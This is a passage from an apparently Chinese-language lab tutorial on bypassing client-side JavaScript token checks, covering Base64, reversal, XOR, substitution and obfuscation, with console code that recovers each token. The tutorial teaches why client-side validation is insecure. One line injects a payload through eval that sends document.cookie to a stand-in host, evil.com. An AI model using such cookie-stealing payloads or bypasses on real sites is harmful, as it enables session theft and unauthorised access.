class="code"><pre><span class="line"><span class="comment">// 使用fetch绕过前端验证</span></span><br><span class="line"><span class="title function_">fetch</span>(<span class="string">&#x27;/submit&#x27;</span>, &#123;</span><br><span class="line">    <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">    <span class="attr">headers</span>: &#123;<span class="string">&#x27;Content-Type&#x27;</span>: <span class="string">&#x27;application/json&#x27;</span>&#125;,</span><br><span class="line">    <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title function_">stringify</span>(&#123;<span class="attr">phrase</span>: <span class="string">&#x27;anything&#x27;</span>&#125;)</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h4 id="步骤5：利用eval-执行任意代码"><a href="#步骤5：利用eval-执行任意代码" class="headerlink" title="步骤5：利用eval()执行任意代码"></a>步骤5：利用eval()执行任意代码</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果应用允许用户输入影响eval()</span></span><br><span class="line"><span class="title function_">executeCommand</span>(<span class="string">&#x27;alert(&quot;XSS&quot;)&#x27;</span>);</span><br><span class="line"><span class="title function_">executeCommand</span>(<span class="string">&#x27;fetch(&quot;http://evil.com/?cookie=&quot; + document.cookie)&#x27;</span>);</span><br></pre></td></tr></table></figure><h4 id="步骤6：提取完整的JavaScript代码"><a href="#步骤6：提取完整的JavaScript代码" class="headerlink" title="步骤6：提取完整的JavaScript代码"></a>步骤6：提取完整的JavaScript代码</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取所有全局变量</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Object</span>.<span class="title function_">keys</span>(<span class="variable language_">window</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取所有函数</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">keys</span>(<span class="variable language_">window</span>).<span class="title function_">forEach</span>(<span class="function"><span class="params">key</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">typeof</span> <span class="variable language_">window</span>[key] === <span class="string">&#x27;function&#x27;</span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(key + <span class="string">&#x27;:&#x27;</span>, <span class="variable language_">window</span>[key].<span class="title function_">toString</span>());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>token被简单编码或混淆，但可以破解。</p><h3 id="前端代码分析-1"><a href="#前端代码分析-1" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ Medium难度：简单混淆 ★★★</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法1：Base64编码（极易破解）</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// btoa() - 将字符串编码为Base64</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// atob() - 将Base64解码为字符串</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> encodedToken = <span class="string">&quot;c3VjY2Vzcw==&quot;</span>; <span class="comment">// Base64(&quot;success&quot;)</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">checkPhrase</span>(<span class="params">input</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：解码逻辑在客户端 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// atob() - Base64解码</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 攻击者可以轻易破解</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> decoded = <span class="title function_">atob</span>(encodedToken);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">if</span> (input === decoded) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">return</span> <span class="literal">true</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> <span class="literal">false</span>;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法2：简单的字符串操作（毫无安全性）</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> obfuscatedToken = <span class="string">&quot;sseccus&quot;</span>; <span class="comment">// &quot;success&quot;的反转</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">validateInput</span>(<span class="params">input</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：反转逻辑暴露 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 攻击者可以看到split().reverse().join()</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 轻易推断出原始值</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> token = obfuscatedToken.<span class="title function_">split</span>(<span class="string">&#x27;&#x27;</span>).<span class="title function_">reverse</span>().<span class="title function_">join</span>(<span class="string">&#x27;&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> input === token;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法3：简单的XOR加密（不安全）</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">xorEncrypt</span>(<span class="params">str, key</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">let</span> result = <span class="string">&#x27;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; str.<span class="property">length</span>; i++) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ★★★ XOR操作 ★★★</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// charCodeAt() - 返回字符的Unicode码</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// String.fromCharCode() - 从Unicode码创建字符</span></span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// ^ - XOR运算符</span></span></span><br><span class="line"><span class="language-javascript">        result += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(</span></span><br><span class="line"><span class="language-javascript">            str.<span class="title function_">charCodeAt</span>(i) ^ key.<span class="title function_">charCodeAt</span>(i % key.<span class="property">length</span>)</span></span><br><span class="line"><span class="language-javascript">        );</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> result;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> key = <span class="string">&quot;mykey&quot;</span>;</span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> encryptedToken = <span class="title function_">xorEncrypt</span>(<span class="string">&quot;success&quot;</span>, key);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">verifyPhrase</span>(<span class="params">input</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：加密密钥和算法都在客户端 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> decrypted = <span class="title function_">xorEncrypt</span>(encryptedToken, key);</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> input === decrypted;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法4：简单的字符替换</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> substitutionMap = &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="string">&#x27;s&#x27;</span>: <span class="string">&#x27;x&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">    <span class="string">&#x27;u&#x27;</span>: <span class="string">&#x27;y&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">    <span class="string">&#x27;c&#x27;</span>: <span class="string">&#x27;z&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">    <span class="string">&#x27;e&#x27;</span>: <span class="string">&#x27;a&#x27;</span></span></span><br><span class="line"><span class="language-javascript">&#125;;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> cipherToken = <span class="string">&quot;xyzxyzz&quot;</span>; <span class="comment">// &quot;success&quot;经过替换</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">checkToken</span>(<span class="params">input</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> plainToken = <span class="string">&quot;&quot;</span>;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// ★★★ 问题：替换表完全暴露 ★★★</span></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 攻击者可以轻易反向操作</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">for</span> (<span class="keyword">let</span> char <span class="keyword">of</span> cipherToken) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">for</span> (<span class="keyword">let</span> [key, value] <span class="keyword">of</span> <span class="title class_">Object</span>.<span class="title function_">entries</span>(substitutionMap)) &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">if</span> (value === char) &#123;</span></span><br><span class="line"><span class="language-javascript">                plainToken += key;</span></span><br><span class="line"><span class="language-javascript">                <span class="keyword">break</span>;</span></span><br><span class="line"><span class="language-javascript">            &#125;</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> input === plainToken;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 表单提交</span></span></span><br><span class="line"><span class="language-javascript"><span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;submitForm&#x27;</span>).<span class="title function_">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, <span class="keyword">function</span>(<span class="params">e</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    e.<span class="title function_">preventDefault</span>();</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> phrase = <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;phrase&#x27;</span>).<span class="property">value</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 使用混淆的验证函数</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">if</span> (<span class="title function_">checkPhrase</span>(phrase) || <span class="title function_">validateInput</span>(phrase) ||</span></span><br><span class="line"><span class="language-javascript">        <span class="title function_">verifyPhrase</span>(phrase) || <span class="title function_">checkToken</span>(phrase)) &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">            <span class="string">&#x27;&lt;p style=&quot;color:green;&quot;&gt;✓ Correct!&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125; <span class="keyword">else</span> &#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;result&#x27;</span>).<span class="property">innerHTML</span> =</span></span><br><span class="line"><span class="language-javascript">            <span class="string">&#x27;&lt;p style=&quot;color:red;&quot;&gt;✗ Wrong!&lt;/p&gt;&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript">    &#125;</span></span><br><span class="line"><span class="language-javascript">&#125;);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>Base64编码</strong> - 对token进行Base64编码</li><li><strong>字符串反转</strong> - 简单的字符串操作</li><li><strong>XOR加密</strong> - 简单的加密算法</li><li><strong>字符替换</strong> - 替换映射表</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：所有”加密”和”混淆”都在客户端！</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">客户端混淆 ≠ 安全</span><br><span class="line">客户端加密 ≠ 安全</span><br><span class="line">客户端验证 ≠ 安全</span><br></pre></td></tr></table></figure><p><strong>问题清单：</strong></p><ol><li>编码&#x2F;加密算法完全暴露</li><li>密钥存储在JavaScript中</li><li>攻击者可以直接调用解密函数</li><li>可以在Console中测试破解</li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：Base64解码"><a href="#方法1：Base64解码" class="headerlink" title="方法1：Base64解码"></a>方法1：Base64解码</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中</span></span><br><span class="line"><span class="keyword">var</span> encodedToken = <span class="string">&quot;c3VjY2Vzcw==&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> decoded = <span class="title function_">atob</span>(encodedToken);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(decoded); <span class="comment">// &quot;success&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法2：反转字符串"><a href="#方法2：反转字符串" class="headerlink" title="方法2：反转字符串"></a>方法2：反转字符串</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中</span></span><br><span class="line"><span class="keyword">var</span> obfuscatedToken = <span class="string">&quot;sseccus&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> token = obfuscatedToken.<span class="title function_">split</span>(<span class="string">&#x27;&#x27;</span>).<span class="title function_">reverse</span>().<span class="title function_">join</span>(<span class="string">&#x27;&#x27;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(token); <span class="comment">// &quot;success&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法3：XOR解密"><a href="#方法3：XOR解密" class="headerlink" title="方法3：XOR解密"></a>方法3：XOR解密</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 复制xorEncrypt函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">xorEncrypt</span>(<span class="params">str, key</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> result = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; str.<span class="property">length</span>; i++) &#123;</span><br><span class="line">        result += <span class="title class_">String</span>.<span class="title function_">fromCharCode</span>(</span><br><span class="line">            str.<span class="title function_">charCodeAt</span>(i) ^ key.<span class="title function_">charCodeAt</span>(i % key.<span class="property">length</span>)</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用相同的密钥解密</span></span><br><span class="line"><span class="keyword">var</span> key = <span class="string">&quot;mykey&quot;</span>;</span><br><span class="line"><span class="keyword">var</span> decrypted = <span class="title function_">xorEncrypt</span>(encryptedToken, key);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(decrypted); <span class="comment">// &quot;success&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法4：反向替换"><a href="#方法4：反向替换" class="headerlink" title="方法4：反向替换"></a>方法4：反向替换</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建反向映射</span></span><br><span class="line"><span class="keyword">var</span> reverseMap = &#123;&#125;;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> [key, value] <span class="keyword">of</span> <span class="title class_">Object</span>.<span class="title function_">entries</span>(substitutionMap)) &#123;</span><br><span class="line">    reverseMap[value] = key;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 解密</span></span><br><span class="line"><span class="keyword">var</span> plainToken = <span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> char <span class="keyword">of</span> cipherToken) &#123;</span><br><span class="line">    plainToken += reverseMap[char];</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(plainToken); <span class="comment">// &quot;success&quot;</span></span><br></pre></td></tr></table></figure><h4 id="方法5：直接调用验证函数测试"><a href="#方法5：直接调用验证函数测试" class="headerlink" title="方法5：直接调用验证函数测试"></a>方法5：直接调用验证函数测试</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在Console中暴力测试</span></span><br><span class="line"><span class="keyword">var</span> possibilities = [<span class="string">&#x27;success&#x27;</span>, <span class="string">&#x27;admin&#x27;</span>, <span class="string">&#x27;password&#x27;</span>, <span class="string">&#x27;token&#x27;</span>];</span><br><span class="line">possibilities.<span class="title function_">forEach</span>(<span class="function"><span class="params">word</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_">checkPhrase</span>(word)) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Found:&#x27;</span>, word);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用更复杂的混淆和加密，但仍在客户端可破解。</p><h3 id="前端代码分析-2"><a href="#前端代码分析-2" class="headerlink" title="前端代码分析"></a>前端代码分析</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ High难度：复杂混淆 ★★★</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法1：使用JavaScript混淆器（如javascript-obfuscator）</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 看起来像这样：</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> _0x1a2b=[<span class="string">&#x27;c3VjY2Vzcw==&#x27;</span>,<span class="string">&#x27;charCodeAt&#x27;</span>,<span class="string">&#x27;fromCharCode&#x27;</span>];</span></span><br><span class="line"><span class="language-javascript">(<span class="keyword">function</span>(<span class="params">_0x4c3d8f,_0x1a2b3c</span>)&#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> _0x2d4e5a=<span class="keyword">function</span>(<span class="params">_0x6b7c8d</span>)&#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">while</span>(--_0x6b7c8d)&#123;</span></span><br><span class="line"><span class="language-javascript">            _0x4c3d8f[<span class="string">&#x27;push&#x27;</span>](_0x4c3d8f[<span class="string">&#x27;shift&#x27;</span>]());</span></span><br><span class="line"><span class="language-javascript">        &#125;</span></span><br><span class="line"><span class="language-javascript">    &#125;;</span></span><br><span class="line"><span class="language-javascript">    <span class="title function_">_0x2d4e5a</span>(++_0x1a2b3c);</span></span><br><span class="line"><span class="language-javascript">&#125;(_0x1a2b,<span class="number">0x12c</span>));</span></span><br><span class="line"><span class="language-javascript"><span class="keyword">var</span> _0x2d4e=<span class="keyword">function</span>(<span class="params">_0x4c3d8f,_0x1a2b3c</span>)&#123;</span></span><br><span class="line"><span class="language-javascript">    _0x4c3d8f=_0x4c3d8f-<span class="number">0x0</span>;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> _0x2d4e5a=_0x1a2b[_0x4c3d8f];</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> _0x2d4e5a;</span></span><br><span class="line"><span class="language-javascript">&#125;;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// ★★★ 问题：混淆不等于加密 ★★★</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 虽然难读，但逻辑仍在客户端</span></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 可以通过调试工具分析</span></span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">_0x3f2a1b</span>(<span class="params">_0x5d8c2e</span>)&#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> _0x7e9f3a=<span class="title function_">atob</span>(<span class="title function_">_0x2d4e</span>(<span class="string">&#x27;0x0&#x27;</span>));</span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">return</span> _0x5d8c2e===_0x7e9f3a;</span></span><br><span class="line"><span class="language-javascript">&#125;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 方法2：使用多层加密</span></span></span><br><span class="line"><span class="language-javascript"><span class="keyword">function</span> <span class="title function_">tripleEncrypt</span>(<span class="params">str</span>) &#123;</span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 第一层：Base64</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> layer1 = <span class="title function_">btoa</span>(str);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 第二层：XOR</span></span></span><br><span class="line"><span class="language-javascript">    <span class="keyword">var</span> layer2 = <span 